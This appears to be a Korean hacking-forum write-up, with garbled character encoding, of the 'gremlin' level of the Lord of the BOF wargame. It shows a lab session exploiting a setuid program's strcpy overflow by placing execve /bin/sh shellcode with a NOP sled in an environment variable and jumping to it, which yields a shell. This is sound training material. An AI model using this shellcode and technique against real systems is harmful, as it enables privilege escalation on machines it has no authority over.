1619, 1/81 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ÇØÅ·ÀßÇϰí½Í´Ù
   http://¾øÀ½
   gremlin.txt (3.9 KB), Download : 20     [¿À¸¥ÂÊ ¹öư ´­·¯ ´Ù¿î ¹Þ±â]
   [L.O.B ¿øÁ¤´ë] - gremlin

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8604 [º¹»ç]


Connecting to 192.168.0.22:23...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.
                                            _______________________
  _______________________-------------------                       `\
/:--__                                                              |
||< > |                                   ___________________________/
| \__/_________________-------------------                         |
|                                                                  |
|        The Lord of the BOF : The Fellowship of the BOF, 2010    |
|                                                                  |
|                                                                  |
  |       [enter to the dungeon]                                    |
  |       gate : gate                                                |
  |                                                                  |
  |       [RULE]                                                     |
   |      - do not use local root exploit                             |
   |      - do not use LD_PRELOAD to my-pass                          |
   |      - do not use single boot                    [h4ck3rsch001] |
  |                                              ____________________|_
  |  ___________________-------------------------                      `\
  |/`--_                                                                 |
  ||[ ]||                                            ___________________/
   \===/___________________--------------------------


login: gremlin
Password:
Last login: Tue Jul  1 12:28:27 from 192.168.0.20
[gremlin@localhost gremlin]$ bash2
[gremlin@localhost gremlin]$ ls -al
total 52
drwx------    2 gremlin  gremlin      4096 Jul  1 12:28 .
drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..
-rw-------    1 gremlin  gremlin      5215 Jul  1 12:28 .bash_history
-rw-r--r--    1 gremlin  gremlin        24 Feb 26  2010 .bash_logout
-rw-r--r--    1 gremlin  gremlin       230 Feb 26  2010 .bash_profile
-rw-r--r--    1 gremlin  gremlin       124 Feb 26  2010 .bashrc
-rwxr-xr-x    1 gremlin  gremlin       333 Feb 26  2010 .emacs
-rw-r--r--    1 gremlin  gremlin      3394 Feb 26  2010 .screenrc
-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt
-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c
[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

==================================
gremlinÀÇ Äڵ带 ºÐ¼®Çϸé buffer º¯¼ö°¡ 16¹ÙÀÌÆ®¹Û¿¡ ¾ø´Ù.
ÀϹÝÀûÀÎ ½©ÄÚµå´Â ¿©±â¿¡¼­ ÈçÈ÷ »ç¿ëÇÏ´Â °Ç 25¹ÙÀÌÆ®´Ï
½©Äڵ带 buffer¾È¿¡ ³ÖÀ» °ø°£ÀÌ ¾ø´Ù.
±×·¸´Ù°í ¹æ¹ýÀÌ ¾ø´Â °Ç ¾Æ´Ï°í... ȯ°æº¯¼ö°¡ ÀÖ´Ù.
¸®´ª½º¿¡¼­ ȯ°æº¯¼ö(environment variable)´Â
½Ã½ºÅÛÀ̳ª ÇÁ·Î¼¼½º°¡ µ¿ÀÛÇÒ ¶§ Âü°íÇÏ´Â ¼³Á¤°ªµéÀ» ÀǹÌÇÑ´Ù.
½±°Ô ¸»ÇØ, ÇÁ·Î±×·¥µéÀÌ µ¿ÀÛÇÏ´Â µ¥
ÇÊ¿äÇÑ ¿©·¯ Á¤º¸µéÀ» ÀúÀåÇÏ´Â º¯¼öµéÀÌ´Ù.
==================================

[gremlin@localhost gremlin]$ export SHELLCODE=$(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
[gremlin@localhost gremlin]$ vi shellcode.c
[gremlin@localhost gremlin]$ cat shellcode.c
#include <stdio.h>

int main(void)
{
    printf("%p\n", getenv("SHELLCODE"));
    return 0;
}
[gremlin@localhost gremlin]$ gcc -o shellcode shellcode.c
[gremlin@localhost gremlin]$ ./shellcode
0xbffffe61
[gremlin@localhost gremlin]$ ls                
cobolt  cobolt.c  shellcode  shellcode.c
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*20+"\x61\xfe\xff\xbf"'`
a©­ÿ¢¯
bash$ my-pass
euid = 502
[???????????????????]
bash$

  Hit : 1006     Date : 2025/07/02 04:19



    
     [°øÁö] °­Á¸¦ ¿Ã¸®½Ç ¶§´Â ¸»¸Ó¸®¸¦ ´Þ¾ÆÁÖ¼¼¿ä^¤Ñ^ [29] ¸Û¸Û 02/27 21428
1618   realip_finder(asm ver)     ÇØÅ·ÀßÇϰí½Í´Ù
02/05 30
1617   realip_finder     ÇØÅ·ÀßÇϰí½Í´Ù
02/05 35
1616   ¸®´ª½º Ä¿³Î&¿î¿µÃ¼Á¦ °³·Ð (1)     ÇØÅ·ÀßÇϰí½Í´Ù
11/02 464
1615   stack overflow »çÀÌÆ® ¹ø¿ª     ÇØÅ·ÀßÇϰí½Í´Ù
07/09 942
1614   [L.O.B ¿øÁ¤´ë] - troll     ÇØÅ·ÀßÇϰí½Í´Ù
07/08 1168
1613   [L.O.B ¿øÁ¤´ë] - orge     ÇØÅ·ÀßÇϰí½Í´Ù
07/07 1126
1612   [L.O.B ¿øÁ¤´ë] - darkelf     ÇØÅ·ÀßÇϰí½Í´Ù
07/07 1065
1611   [L.O.B ¿øÁ¤´ë] - wolfman     ÇØÅ·ÀßÇϰí½Í´Ù
07/03 1101
1610   [L.O.B ¿øÁ¤´ë] - orc     ÇØÅ·ÀßÇϰí½Í´Ù
07/03 961
1609   [L.O.B ¿øÁ¤´ë] - goblin     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1087
1608   [L.O.B ¿øÁ¤´ë] - cobolt     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1334
  [L.O.B ¿øÁ¤´ë] - gremlin     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1005
1606   [L.O.B ¿øÁ¤´ë] - gate     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1024
1605   ARP ½ºÇªÇÎ - Part.1 -     ÇØÅ·ÀßÇϰí½Í´Ù
04/20 1574
1604   http ½º´ÏÆÛ ±¸Çö     ÇØÅ·ÀßÇϰí½Í´Ù
04/20 1359
1603   pcapÀ¸·Î ÆÐŶ ½º´ÏÆÛ ±¸ÇöÇϱ⠠   ÇØÅ·ÀßÇϰí½Í´Ù
04/20 1212
1602   ÇØÄ¿½ºÄ𠸸ȭÀÇ ÀÚµ¿À¸·Î ½ºÄµÇÏ´Â ÇÁ·Î±×·¥     ÇØÅ·ÀßÇϰí½Í´Ù
02/18 1577
1601   ½Ã½ºÅÛ ÄÝ ÃßÀû È®ÀåÆÇ[2]     ÇØÅ·ÀßÇϰí½Í´Ù
01/19 1728
1600   °£´ÜÇÑ ½Ã½ºÅÛ ÄÝ ÃßÀû ÇÁ·Î±×·¥ ¸¸µé±â     ÇØÅ·ÀßÇϰí½Í´Ù
01/18 1706
1 [2][3][4][5][6][7][8][9][10]..[81]

Copyright 1999-2026 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org